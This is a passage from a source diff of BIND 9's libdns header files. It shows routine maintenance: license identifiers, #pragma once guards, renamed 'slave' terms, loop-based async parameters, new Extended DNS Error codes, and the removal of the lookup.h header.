 	return (&LIBRPZ_DEF);
-#else  /* if LIBRPZ_LIB_OPEN == 1 */
+#else  /* if DNSRPS_LIB_OPEN == 1 */
 	snprintf(emsg->c, sizeof(librpz_emsg_t),
 		 "librpz not available via ./configure");
 	return (NULL);
-#endif /* LIBRPZ_LIB_OPEN */
+#endif /* DNSRPS_LIB_OPEN */
 }
 #endif /* LIBRPZ_LIB_OPEN */
-
-#endif /* LIBRPZ_H */
diff --git a/lib/dns/include/dns/log.h b/lib/dns/include/dns/log.h
index 5768d0930d..e2cd959dc8 100644
--- a/lib/dns/include/dns/log.h
+++ b/lib/dns/include/dns/log.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -12,36 +14,35 @@
 /*! \file dns/log.h
  */
 
-#ifndef DNS_LOG_H
-#define DNS_LOG_H 1
+#pragma once
 
 #include <isc/lang.h>
 #include <isc/log.h>
 
-LIBDNS_EXTERNAL_DATA extern isc_log_t *	      dns_lctx;
-LIBDNS_EXTERNAL_DATA extern isc_logcategory_t dns_categories[];
-LIBDNS_EXTERNAL_DATA extern isc_logmodule_t   dns_modules[];
+extern isc_log_t	*dns_lctx;
+extern isc_logcategory_t dns_categories[];
+extern isc_logmodule_t	 dns_modules[];
 
 #define DNS_LOGCATEGORY_NOTIFY	 (&dns_categories[0])
 #define DNS_LOGCATEGORY_DATABASE (&dns_categories[1])
 #define DNS_LOGCATEGORY_SECURITY (&dns_categories[2])
 /* DNS_LOGCATEGORY_CONFIG superseded by CFG_LOGCATEGORY_CONFIG */
-#define DNS_LOGCATEGORY_DNSSEC		(&dns_categories[4])
-#define DNS_LOGCATEGORY_RESOLVER	(&dns_categories[5])
-#define DNS_LOGCATEGORY_XFER_IN		(&dns_categories[6])
-#define DNS_LOGCATEGORY_XFER_OUT	(&dns_categories[7])
-#define DNS_LOGCATEGORY_DISPATCH	(&dns_categories[8])
-#define DNS_LOGCATEGORY_LAME_SERVERS	(&dns_categories[9])
-#define DNS_LOGCATEGORY_DELEGATION_ONLY (&dns_categories[10])
-#define DNS_LOGCATEGORY_EDNS_DISABLED	(&dns_categories[11])
-#define DNS_LOGCATEGORY_RPZ		(&dns_categories[12])
-#define DNS_LOGCATEGORY_RRL		(&dns_categories[13])
-#define DNS_LOGCATEGORY_CNAME		(&dns_categories[14])
-#define DNS_LOGCATEGORY_SPILL		(&dns_categories[15])
-#define DNS_LOGCATEGORY_DNSTAP		(&dns_categories[16])
-#define DNS_LOGCATEGORY_ZONELOAD	(&dns_categories[17])
-#define DNS_LOGCATEGORY_NSID		(&dns_categories[18])
-#define DNS_LOGCATEGORY_RPZ_PASSTHRU	(&dns_categories[19])
+#define DNS_LOGCATEGORY_DNSSEC	     (&dns_categories[4])
+#define DNS_LOGCATEGORY_RESOLVER     (&dns_categories[5])
+#define DNS_LOGCATEGORY_XFER_IN	     (&dns_categories[6])
+#define DNS_LOGCATEGORY_XFER_OUT     (&dns_categories[7])
+#define DNS_LOGCATEGORY_DISPATCH     (&dns_categories[8])
+#define DNS_LOGCATEGORY_LAME_SERVERS (&dns_categories[9])
+/* #define DNS_LOGCATEGORY_DELEGATION_ONLY removed */
+#define DNS_LOGCATEGORY_EDNS_DISABLED (&dns_categories[10])
+#define DNS_LOGCATEGORY_RPZ	      (&dns_categories[11])
+#define DNS_LOGCATEGORY_RRL	      (&dns_categories[12])
+#define DNS_LOGCATEGORY_CNAME	      (&dns_categories[13])
+#define DNS_LOGCATEGORY_SPILL	      (&dns_categories[14])
+#define DNS_LOGCATEGORY_DNSTAP	      (&dns_categories[15])
+#define DNS_LOGCATEGORY_ZONELOAD      (&dns_categories[16])
+#define DNS_LOGCATEGORY_NSID	      (&dns_categories[17])
+#define DNS_LOGCATEGORY_RPZ_PASSTHRU  (&dns_categories[18])
 
 /* Backwards compatibility. */
 #define DNS_LOGCATEGORY_GENERAL ISC_LOGCATEGORY_GENERAL
@@ -79,6 +80,7 @@ LIBDNS_EXTERNAL_DATA extern isc_logmodule_t   dns_modules[];
 #define DNS_LOGMODULE_DYNDB	 (&dns_modules[30])
 #define DNS_LOGMODULE_DNSTAP	 (&dns_modules[31])
 #define DNS_LOGMODULE_SSU	 (&dns_modules[32])
+#define DNS_LOGMODULE_QP	 (&dns_modules[33])
 
 ISC_LANG_BEGINDECLS
 
@@ -109,5 +111,3 @@ dns_log_setcontext(isc_log_t *lctx);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_LOG_H */
diff --git a/lib/dns/include/dns/lookup.h b/lib/dns/include/dns/lookup.h
deleted file mode 100644
index 1ab7db3524..0000000000
--- a/lib/dns/include/dns/lookup.h
+++ /dev/null
@@ -1,129 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef DNS_LOOKUP_H
-#define DNS_LOOKUP_H 1
-
-/*****
-***** Module Info
-*****/
-
-/*! \file dns/lookup.h
- * \brief
- * The lookup module performs simple DNS lookups.  It implements
- * the full resolver algorithm, both looking for local data and
- * resolving external names as necessary.
- *
- * MP:
- *\li	The module ensures appropriate synchronization of data structures it
- *	creates and manipulates.
- *
- * Reliability:
- *\li	No anticipated impact.
- *
- * Resources:
- *\li	TBS
- *
- * Security:
- *\li	No anticipated impact.
- *
- * Standards:
- *\li	RFCs:	1034, 1035, 2181, TBS
- *\li	Drafts:	TBS
- */
-
-#include <isc/event.h>
-#include <isc/lang.h>
-
-#include <dns/types.h>
-
-ISC_LANG_BEGINDECLS
-
-/*%
- * A 'dns_lookupevent_t' is returned when a lookup completes.
- * The sender field will be set to the lookup that completed.  If 'result'
- * is ISC_R_SUCCESS, then 'names' will contain a list of names associated
- * with the address.  The recipient of the event must not change the list
- * and must not refer to any of the name data after the event is freed.
- */
-typedef struct dns_lookupevent {
-	ISC_EVENT_COMMON(struct dns_lookupevent);
-	isc_result_t	result;
-	dns_name_t *	name;
-	dns_rdataset_t *rdataset;
-	dns_rdataset_t *sigrdataset;
-	dns_db_t *	db;
-	dns_dbnode_t *	node;
-} dns_lookupevent_t;
-
-isc_result_t
-dns_lookup_create(isc_mem_t *mctx, const dns_name_t *name, dns_rdatatype_t type,
-		  dns_view_t *view, unsigned int options, isc_task_t *task,
-		  isc_taskaction_t action, void *arg, dns_lookup_t **lookupp);
-/*%<
- * Finds the rrsets matching 'name' and 'type'.
- *
- * Requires:
- *
- *\li	'mctx' is a valid mctx.
- *
- *\li	'name' is a valid name.
- *
- *\li	'view' is a valid view which has a resolver.
- *
- *\li	'task' is a valid task.
- *
- *\li	lookupp != NULL && *lookupp == NULL
- *
- * Returns:
- *
- *\li	ISC_R_SUCCESS
- *\li	ISC_R_NOMEMORY
- *
- *\li	Any resolver-related error (e.g. ISC_R_SHUTTINGDOWN) may also be
- *	returned.
- */
-
-void
-dns_lookup_cancel(dns_lookup_t *lookup);
-/*%<
- * Cancel 'lookup'.
- *
- * Notes:
- *
- *\li	If 'lookup' has not completed, post its LOOKUPDONE event with a
- *	result code of ISC_R_CANCELED.
- *
- * Requires:
- *
- *\li	'lookup' is a valid lookup.
- */
-
-void
-dns_lookup_destroy(dns_lookup_t **lookupp);
-/*%<
- * Destroy 'lookup'.
- *
- * Requires:
- *
- *\li	'*lookupp' is a valid lookup.
- *
- *\li	The caller has received the LOOKUPDONE event (either because the
- *	lookup completed or because dns_lookup_cancel() was called).
- *
- * Ensures:
- *
- *\li	*lookupp == NULL.
- */
-
-ISC_LANG_ENDDECLS
-
-#endif /* DNS_LOOKUP_H */
diff --git a/lib/dns/include/dns/master.h b/lib/dns/include/dns/master.h
index c14d4d7d9d..2e9966f8d0 100644
--- a/lib/dns/include/dns/master.h
+++ b/lib/dns/include/dns/master.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_MASTER_H
-#define DNS_MASTER_H 1
+#pragma once
 
 /*! \file dns/master.h */
 
@@ -35,7 +36,7 @@
 #define DNS_MASTER_NOINCLUDE 0x00000004 /*%< Disallow $INCLUDE directives. */
 #define DNS_MASTER_ZONE	     0x00000008 /*%< Loading a zone master file. */
 #define DNS_MASTER_HINT	     0x00000010 /*%< Loading a hint master file. */
-#define DNS_MASTER_SLAVE     0x00000020 /*%< Loading a slave master file. */
+#define DNS_MASTER_SECONDARY 0x00000020 /*%< Secondary master file. */
 #define DNS_MASTER_CHECKNS                    \
 	0x00000040 /*%<                       \
 		    * Check NS records to see \
@@ -54,10 +55,11 @@
 #define DNS_MASTER_CHECKMX     0x00000800
 #define DNS_MASTER_CHECKMXFAIL 0x00001000
 
-#define DNS_MASTER_RESIGN   0x00002000
-#define DNS_MASTER_KEY	    0x00004000 /*%< Loading a key zone master file. */
-#define DNS_MASTER_NOTTL    0x00008000 /*%< Don't require ttl. */
-#define DNS_MASTER_CHECKTTL 0x00010000 /*%< Check max-zone-ttl */
+#define DNS_MASTER_RESIGN    0x00002000
+#define DNS_MASTER_KEY	     0x00004000 /*%< Loading a key zone master file. */
+#define DNS_MASTER_NOTTL     0x00008000 /*%< Don't require ttl. */
+#define DNS_MASTER_CHECKTTL  0x00010000 /*%< Check max-zone-ttl */
+#define DNS_MASTER_CHECKSVCB 0x00020000 /*%< Check SVBC records */
 
 ISC_LANG_BEGINDECLS
 
@@ -79,9 +81,7 @@ ISC_LANG_BEGINDECLS
 /* Common header */
 struct dns_masterrawheader {
 	uint32_t format;       /* must be
-				* dns_masterformat_raw
-				* or
-				* dns_masterformat_map */
+				* dns_masterformat_raw */
 	uint32_t version;      /* compatibility for future
 				* extensions */
 	uint32_t dumptime;     /* timestamp on creation
@@ -90,7 +90,7 @@ struct dns_masterrawheader {
 	uint32_t sourceserial; /* Source serial number (used
 				* by inline-signing zones) */
 	uint32_t lastxfrin;    /* timestamp of last transfer
-				* (used by slave zones) */
+				* (used by secondary zones) */
 };
 
 /* The structure for each RRset */
@@ -136,44 +136,18 @@ dns_master_loadbuffer(isc_buffer_t *buffer, dns_name_t *top, dns_name_t *origin,
 		      dns_rdatacallbacks_t *callbacks, isc_mem_t *mctx);
 
 isc_result_t
-dns_master_loadlexer(isc_lex_t *lex, dns_name_t *top, dns_name_t *origin,
-		     dns_rdataclass_t zclass, unsigned int options,
-		     dns_rdatacallbacks_t *callbacks, isc_mem_t *mctx);
-
-isc_result_t
-dns_master_loadfileinc(const char *master_file, dns_name_t *top,
-		       dns_name_t *origin, dns_rdataclass_t zclass,
-		       unsigned int options, uint32_t resign,
-		       dns_rdatacallbacks_t *callbacks, isc_task_t *task,
-		       dns_loaddonefunc_t done, void *done_arg,
-		       dns_loadctx_t **ctxp, dns_masterincludecb_t include_cb,
-		       void *include_arg, isc_mem_t *mctx,
-		       dns_masterformat_t format, uint32_t maxttl);
-
-isc_result_t
-dns_master_loadstreaminc(FILE *stream, dns_name_t *top, dns_name_t *origin,
-			 dns_rdataclass_t zclass, unsigned int options,
-			 dns_rdatacallbacks_t *callbacks, isc_task_t *task,
-			 dns_loaddonefunc_t done, void *done_arg,
-			 dns_loadctx_t **ctxp, isc_mem_t *mctx);
-
-isc_result_t
-dns_master_loadbufferinc(isc_buffer_t *buffer, dns_name_t *top,
+dns_master_loadfileasync(const char *master_file, dns_name_t *top,
 			 dns_name_t *origin, dns_rdataclass_t zclass,
-			 unsigned int options, dns_rdatacallbacks_t *callbacks,
-			 isc_task_t *task, dns_loaddonefunc_t done,
-			 void *done_arg, dns_loadctx_t **ctxp, isc_mem_t *mctx);
-
-isc_result_t
-dns_master_loadlexerinc(isc_lex_t *lex, dns_name_t *top, dns_name_t *origin,
-			dns_rdataclass_t zclass, unsigned int options,
-			dns_rdatacallbacks_t *callbacks, isc_task_t *task,
-			dns_loaddonefunc_t done, void *done_arg,
-			dns_loadctx_t **ctxp, isc_mem_t *mctx);
+			 unsigned int options, uint32_t resign,
+			 dns_rdatacallbacks_t *callbacks, isc_loop_t *loop,
+			 dns_loaddonefunc_t done, void *done_arg,
+			 dns_loadctx_t **ctxp, dns_masterincludecb_t include_cb,
+			 void *include_arg, isc_mem_t *mctx,
+			 dns_masterformat_t format, uint32_t maxttl);
 
 /*%<
- * Loads a RFC1305 master file from a file, stream, buffer, or existing
- * lexer into rdatasets and then calls 'callbacks->commit' to commit the
+ * Loads a RFC1035 master file from a file, stream, or buffer
+ * into rdatasets and then calls 'callbacks->commit' to commit the
  * rdatasets.  Rdata memory belongs to dns_master_load and will be
  * reused / released when the callback completes.  dns_load_master will
  * abort if callbacks->commit returns any value other than ISC_R_SUCCESS.
@@ -193,14 +167,13 @@ dns_master_loadlexerinc(isc_lex_t *lex, dns_name_t *top, dns_name_t *origin,
  *
  * Requires:
  *\li	'master_file' points to a valid string.
- *\li	'lexer' points to a valid lexer.
  *\li	'top' points to a valid name.
  *\li	'origin' points to a valid name.
  *\li	'callbacks->commit' points to a valid function.
  *\li	'callbacks->error' points to a valid function.
  *\li	'callbacks->warn' points to a valid function.
  *\li	'mctx' points to a valid memory context.
- *\li	'task' and 'done' to be valid.
+ *\li	'loop' and 'done' to be valid.
  *\li	'lmgr' to be valid.
  *\li	'ctxp != NULL && ctxp == NULL'.
  *
@@ -215,7 +188,6 @@ dns_master_loadlexerinc(isc_lex_t *lex, dns_name_t *top, dns_name_t *origin,
  *\li	DNS_R_NOOWNER failed to specify a ownername.
  *\li	DNS_R_NOTTL failed to specify a ttl.
  *\li	DNS_R_BADCLASS record class did not match zone class.
- *\li	DNS_R_CONTINUE load still in progress (dns_master_load*inc() only).
  *\li	Any dns_rdata_fromtext() error code.
  *\li	Any error code from callbacks->commit().
  */
@@ -258,5 +230,3 @@ dns_master_initrawheader(dns_masterrawheader_t *header);
  * values to zero.
  */
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_MASTER_H */
diff --git a/lib/dns/include/dns/masterdump.h b/lib/dns/include/dns/masterdump.h
index dbb8ec8026..973f31fafd 100644
--- a/lib/dns/include/dns/masterdump.h
+++ b/lib/dns/include/dns/masterdump.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_MASTERDUMP_H
-#define DNS_MASTERDUMP_H 1
+#pragma once
 
 /*! \file dns/masterdump.h */
 
@@ -113,6 +114,12 @@ typedef struct dns_master_style dns_master_style_t;
 /*% Print expired cache entries. */
 #define DNS_STYLEFLAG_EXPIRED 0x200000000ULL
 
+/*%
+ * If set concurrently with DNS_STYLEFLAG_OMIT_CLASS, the class will
+ * be included when printing a new name.
+ */
+#define DNS_STYLEFLAG_CLASS_PERNAME 0x400000000ULL
+
 ISC_LANG_BEGINDECLS
 
 /***
@@ -126,34 +133,32 @@ ISC_LANG_BEGINDECLS
  * tab stop for the TTL.  The class is only printed for the first
  * rrset in the file and shares a tab stop with the RR type.
  */
-LIBDNS_EXTERNAL_DATA extern const dns_master_style_t dns_master_style_default;
+extern const dns_master_style_t dns_master_style_default;
 
 /*%
  * A master file style that dumps zones to a very generic format easily
  * imported/checked with external tools.
  */
-LIBDNS_EXTERNAL_DATA extern const dns_master_style_t dns_master_style_full;
+extern const dns_master_style_t dns_master_style_full;
 
 /*%
  * A master file style that prints explicit TTL values on each
  * record line, never using $TTL statements.  The TTL has a tab
  * stop of its own, but the class and type share one.
  */
-LIBDNS_EXTERNAL_DATA extern const dns_master_style_t
-	dns_master_style_explicitttl;
+extern const dns_master_style_t dns_master_style_explicitttl;
 
 /*%
  * A master style format designed for cache files.  It prints explicit TTL
  * values on each record line and never uses $ORIGIN or relative names.
  */
-LIBDNS_EXTERNAL_DATA extern const dns_master_style_t dns_master_style_cache;
+extern const dns_master_style_t dns_master_style_cache;
 
 /*%
  * A master style format designed for cache files.  The same as above but
  * this also prints expired entries.
  */
-LIBDNS_EXTERNAL_DATA extern const dns_master_style_t
-	dns_master_style_cache_with_expired;
+extern const dns_master_style_t dns_master_style_cache_with_expired;
 
 /*%
  * A master style that prints name, ttl, class, type, and value on
@@ -161,32 +166,32 @@ LIBDNS_EXTERNAL_DATA extern const dns_master_style_t
  * Intended for generating master files which can be easily parsed
  * by perl scripts and similar applications.
  */
-LIBDNS_EXTERNAL_DATA extern const dns_master_style_t dns_master_style_simple;
+extern const dns_master_style_t dns_master_style_simple;
 
 /*%
  * The style used for debugging, "dig" output, etc.
  */
-LIBDNS_EXTERNAL_DATA extern const dns_master_style_t dns_master_style_debug;
+extern const dns_master_style_t dns_master_style_debug;
 
 /*%
  * Similar to dns_master_style_debug but data is prepended with ";"
  */
-LIBDNS_EXTERNAL_DATA extern const dns_master_style_t dns_master_style_comment;
+extern const dns_master_style_t dns_master_style_comment;
 
 /*%
  * Similar to dns_master_style_debug but data is indented with "\t" (tab)
  */
-LIBDNS_EXTERNAL_DATA extern const dns_master_style_t dns_master_style_indent;
+extern const dns_master_style_t dns_master_style_indent;
 
 /*%
  * The style used for dumping "key" zones.
  */
-LIBDNS_EXTERNAL_DATA extern const dns_master_style_t dns_master_style_keyzone;
+extern const dns_master_style_t dns_master_style_keyzone;
 
 /*%
  * YAML-compatible output
  */
-LIBDNS_EXTERNAL_DATA extern const dns_master_style_t dns_master_style_yaml;
+extern const dns_master_style_t dns_master_style_yaml;
 
 /***
  ***	Functions
@@ -244,9 +249,9 @@ dns_dumpctx_db(dns_dumpctx_t *dctx);
 /*@{*/
 isc_result_t
 dns_master_dumptostreamasync(isc_mem_t *mctx, dns_db_t *db,
-			     dns_dbversion_t *	       version,
+			     dns_dbversion_t	      *version,
 			     const dns_master_style_t *style, FILE *f,
-			     isc_task_t *task, dns_dumpdonefunc_t done,
+			     isc_loop_t *loop, dns_dumpdonefunc_t done,
 			     void *done_arg, dns_dumpctx_t **dctxp);
 
 isc_result_t
@@ -265,7 +270,6 @@ dns_master_dumptostream(isc_mem_t *mctx, dns_db_t *db, dns_dbversion_t *version,
  * Temporary dynamic memory may be allocated from 'mctx'.
  *
  * Require:
- *\li	'task' to be valid.
  *\li	'done' to be non NULL.
  *\li	'dctxp' to be non NULL && '*dctxp' to be NULL.
  *
@@ -282,7 +286,7 @@ dns_master_dumptostream(isc_mem_t *mctx, dns_db_t *db, dns_dbversion_t *version,
 isc_result_t
 dns_master_dumpasync(isc_mem_t *mctx, dns_db_t *db, dns_dbversion_t *version,
 		     const dns_master_style_t *style, const char *filename,
-		     isc_task_t *task, dns_dumpdonefunc_t done, void *done_arg,
+		     isc_loop_t *loop, dns_dumpdonefunc_t done, void *done_arg,
 		     dns_dumpctx_t **dctxp, dns_masterformat_t format,
 		     dns_masterrawheader_t *header);
 
@@ -310,8 +314,8 @@ dns_master_dump(isc_mem_t *mctx, dns_db_t *db, dns_dbversion_t *version,
 /*@}*/
 
 isc_result_t
-dns_master_rdatasettotext(const dns_name_t *	    owner_name,
-			  dns_rdataset_t *	    rdataset,
+dns_master_rdatasettotext(const dns_name_t	   *owner_name,
+			  dns_rdataset_t	   *rdataset,
 			  const dns_master_style_t *style, dns_indent_t *indent,
 			  isc_buffer_t *target);
 /*%<
@@ -327,15 +331,15 @@ dns_master_rdatasettotext(const dns_name_t *	    owner_name,
  */
 
 isc_result_t
-dns_master_questiontotext(const dns_name_t *	    owner_name,
-			  dns_rdataset_t *	    rdataset,
+dns_master_questiontotext(const dns_name_t	   *owner_name,
+			  dns_rdataset_t	   *rdataset,
 			  const dns_master_style_t *style,
-			  isc_buffer_t *	    target);
+			  isc_buffer_t		   *target);
 
 isc_result_t
 dns_master_dumpnodetostream(isc_mem_t *mctx, dns_db_t *db,
 			    dns_dbversion_t *version, dns_dbnode_t *node,
-			    const dns_name_t *	      name,
+			    const dns_name_t	     *name,
 			    const dns_master_style_t *style, FILE *f);
 
 isc_result_t
@@ -347,7 +351,7 @@ dns_masterstyle_flags_t
 dns_master_styleflags(const dns_master_style_t *style);
 
 isc_result_t
-dns_master_stylecreate(dns_master_style_t **   style,
+dns_master_stylecreate(dns_master_style_t    **style,
 		       dns_masterstyle_flags_t flags, unsigned int ttl_column,
 		       unsigned int class_column, unsigned int type_column,
 		       unsigned int rdata_column, unsigned int line_length,
@@ -358,5 +362,3 @@ void
 dns_master_styledestroy(dns_master_style_t **style, isc_mem_t *mctx);
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_MASTERDUMP_H */
diff --git a/lib/dns/include/dns/message.h b/lib/dns/include/dns/message.h
index fb114e70ab..637675fd9a 100644
--- a/lib/dns/include/dns/message.h
+++ b/lib/dns/include/dns/message.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -112,8 +114,49 @@
 
 /*%< Experimental options [65001...65534] as per RFC6891 */
 
-/*%< The number of EDNS options we know about. */
-#define DNS_EDNSOPTIONS 7
+/*%<
+ * The maximum number of EDNS options we allow to set. Reserve space for the
+ * options we know about. Extended DNS Errors may occur multiple times, but we
+ * will set only one per message (for now).
+ */
+#define DNS_EDNSOPTIONS 8
+
+/*%< EDNS0 extended DNS errors */
+#define DNS_EDE_OTHER		     0	/*%< Other Error */
+#define DNS_EDE_DNSKEYALG	     1	/*%< Unsupported DNSKEY Algorithm */
+#define DNS_EDE_DSDIGESTTYPE	     2	/*%< Unsupported DS Digest Type */
+#define DNS_EDE_STALEANSWER	     3	/*%< Stale Answer */
+#define DNS_EDE_FORGEDANSWER	     4	/*%< Forged Answer */
+#define DNS_EDE_DNSSECINDETERMINATE  5	/*%< DNSSEC Indeterminate */
+#define DNS_EDE_DNSSECBOGUS	     6	/*%< DNSSEC Bogus */
+#define DNS_EDE_SIGNATUREEXPIRED     7	/*%< Signature Expired */
+#define DNS_EDE_SIGNATURENOTYETVALID 8	/*%< Signature Not Yet Valid */
+#define DNS_EDE_DNSKEYMISSING	     9	/*%< DNSKEY Missing */
+#define DNS_EDE_RRSIGSMISSING	     10 /*%< RRSIGs Missing */
+#define DNS_EDE_NOZONEKEYBITSET	     11 /*%< No Zone Key Bit Set */
+#define DNS_EDE_NSECMISSING	     12 /*%< NSEC Missing */
+#define DNS_EDE_CACHEDERROR	     13 /*%< Cached Error */
+#define DNS_EDE_NOTREADY	     14 /*%< Not Ready */
+#define DNS_EDE_BLOCKED		     15 /*%< Blocked */
+#define DNS_EDE_CENSORED	     16 /*%< Censored */
+#define DNS_EDE_FILTERED	     17 /*%< Filtered */
+#define DNS_EDE_PROHIBITED	     18 /*%< Prohibited */
+#define DNS_EDE_STALENXANSWER	     19 /*%< Stale NXDomain Answer */
+#define DNS_EDE_NOTAUTH		     20 /*%< Not Authoritative */
+#define DNS_EDE_NOTSUPPORTED	     21 /*%< Not Supported */
+#define DNS_EDE_NOREACHABLEAUTH	     22 /*%< No Reachable Authority */
+#define DNS_EDE_NETWORKERROR	     23 /*%< Network Error */
+#define DNS_EDE_INVALIDDATA	     24 /*%< Invalid Data */
+
+/*
+ * From RFC 8914:
+ * Because long EXTRA-TEXT fields may trigger truncation (which is undesirable
+ * given the supplemental nature of EDE), implementers and operators creating
+ * EDE options SHOULD avoid lengthy EXTRA-TEXT contents.
+ *
+ * Following this advice we limit the EXTRA-TEXT length to 64 characters.
+ */
+#define DNS_EDE_EXTRATEXT_LEN 64
 
 #define DNS_MESSAGE_REPLYPRESERVE	 (DNS_MESSAGEFLAG_RD | DNS_MESSAGEFLAG_CD)
 #define DNS_MESSAGEEXTFLAG_REPLYPRESERVE (DNS_MESSAGEEXTFLAG_DO)
@@ -194,11 +237,16 @@ typedef int dns_messagetextflag_t;
 typedef struct dns_msgblock dns_msgblock_t;
 
 struct dns_sortlist_arg {
-	dns_aclenv_t *		env;
-	const dns_acl_t *	acl;
+	dns_aclenv_t	       *env;
+	dns_acl_t	       *acl;
 	const dns_aclelement_t *element;
 };
 
+typedef struct dns_minttl {
+	bool	  is_set;
+	dns_ttl_t ttl;
+} dns_minttl_t;
+
 struct dns_message {
 	/* public from here down */
 	unsigned int   magic;
@@ -215,7 +263,7 @@ struct dns_message {
 
 	/* private from here down */
 	dns_namelist_t	sections[DNS_SECTION_MAX];
-	dns_name_t *	cursors[DNS_SECTION_MAX];
+	dns_name_t     *cursors[DNS_SECTION_MAX];
 	dns_rdataset_t *opt;
 	dns_rdataset_t *sig0;
 	dns_rdataset_t *tsig;
@@ -231,8 +279,10 @@ struct dns_message {
 	unsigned int free_saved	      : 1;
 	unsigned int cc_ok	      : 1;
 	unsigned int cc_bad	      : 1;
+	unsigned int cc_echoed	      : 1;
 	unsigned int tkey	      : 1;
 	unsigned int rdclass_set      : 1;
+	unsigned int fuzzing	      : 1;
 
 	unsigned int opt_reserved;
 	unsigned int sig_reserved;
@@ -241,10 +291,10 @@ struct dns_message {
 	uint16_t     padding;
 	unsigned int padding_off;
 
-	isc_buffer_t *	buffer;
+	isc_buffer_t   *buffer;
 	dns_compress_t *cctx;
 
-	isc_mem_t *    mctx;
+	isc_mem_t     *mctx;
 	isc_mempool_t *namepool;
 	isc_mempool_t *rdspool;
 
@@ -263,22 +313,29 @@ struct dns_message {
 	dns_name_t *tsigname; /* Owner name of TSIG, if any
 			       * */
 	dns_rdataset_t *querytsig;
-	dns_tsigkey_t * tsigkey;
-	dst_context_t * tsigctx;
+	dns_tsigkey_t  *tsigkey;
+	dst_context_t  *tsigctx;
 	int		sigstart;
 	int		timeadjust;
 
 	dns_name_t *sig0name; /* Owner name of SIG0, if any
 			       * */
-	dst_key_t *  sig0key;
+	dst_key_t   *sig0key;
 	dns_rcode_t  sig0status;
 	isc_region_t query;
 	isc_region_t saved;
 
+	/*
+	 * Time to be used when fuzzing.
+	 */
+	isc_stdtime_t fuzztime;
+
 	dns_rdatasetorderfunc_t order;
 	dns_sortlist_arg_t	order_arg;
 
 	dns_indent_t indent;
+
+	dns_minttl_t minttl[DNS_SECTION_MAX];
 };
 
 struct dns_ednsopt {
@@ -368,7 +425,7 @@ isc_result_t
 dns_message_pseudosectiontotext(dns_message_t *msg, dns_pseudosection_t section,
 				const dns_master_style_t *style,
 				dns_messagetextflag_t	  flags,
-				isc_buffer_t *		  target);
+				isc_buffer_t		 *target);
 /*%<
  * Convert section 'section' or 'pseudosection' of message 'msg' to
  * a cleartext representation
@@ -384,7 +441,7 @@ dns_message_pseudosectiontotext(dns_message_t *msg, dns_pseudosection_t section,
  *
  *\li	'target' is a valid buffer.
  *
- *\li	'section' is a valid section label.
+ *\li	'section' is a named section label.
  *
  * Ensures:
  *
@@ -756,7 +813,7 @@ dns_message_findname(dns_message_t *msg, dns_section_t section,
  * Requires:
  *\li	'msg' be valid.
  *
- *\li	'section' be a valid section.
+ *\li	'section' be a named section.
  *
  *\li	If a pointer to the name is desired, 'foundname' should be non-NULL.
  *	If it is non-NULL, '*foundname' MUST be NULL.
@@ -881,7 +938,7 @@ dns_message_removename(dns_message_t *msg, dns_name_t *name,
  * reset, and must NOT be used after these operations.
  */
 
-isc_result_t
+void
 dns_message_gettempname(dns_message_t *msg, dns_name_t **item);
 /*%<
  * Return a name that can be used for any temporary purpose, including
@@ -896,13 +953,9 @@ dns_message_gettempname(dns_message_t *msg, dns_name_t **item);
  *\li	msg be a valid message
  *
  *\li	item != NULL && *item == NULL
- *
- * Returns:
- *\li	#ISC_R_SUCCESS		-- All is well.
- *\li	#ISC_R_NOMEMORY		-- No item can be allocated.
  */
 
-isc_result_t
+void
 dns_message_gettemprdata(dns_message_t *msg, dns_rdata_t **item);
 /*%<
  * Return a rdata that can be used for any temporary purpose, including
@@ -913,13 +966,9 @@ dns_message_gettemprdata(dns_message_t *msg, dns_rdata_t **item);
  *\li	msg be a valid message
  *
  *\li	item != NULL && *item == NULL
- *
- * Returns:
- *\li	#ISC_R_SUCCESS		-- All is well.
- *\li	#ISC_R_NOMEMORY		-- No item can be allocated.
  */
 
-isc_result_t
+void
 dns_message_gettemprdataset(dns_message_t *msg, dns_rdataset_t **item);
 /*%<
  * Return a rdataset that can be used for any temporary purpose, including
@@ -931,13 +980,9 @@ dns_message_gettemprdataset(dns_message_t *msg, dns_rdataset_t **item);
  *\li	msg be a valid message
  *
  *\li	item != NULL && *item == NULL
- *
- * Returns:
- *\li	#ISC_R_SUCCESS		-- All is well.
- *\li	#ISC_R_NOMEMORY		-- No item can be allocated.
  */
 
-isc_result_t
+void
 dns_message_gettemprdatalist(dns_message_t *msg, dns_rdatalist_t **item);
 /*%<
  * Return a rdatalist that can be used for any temporary purpose, including
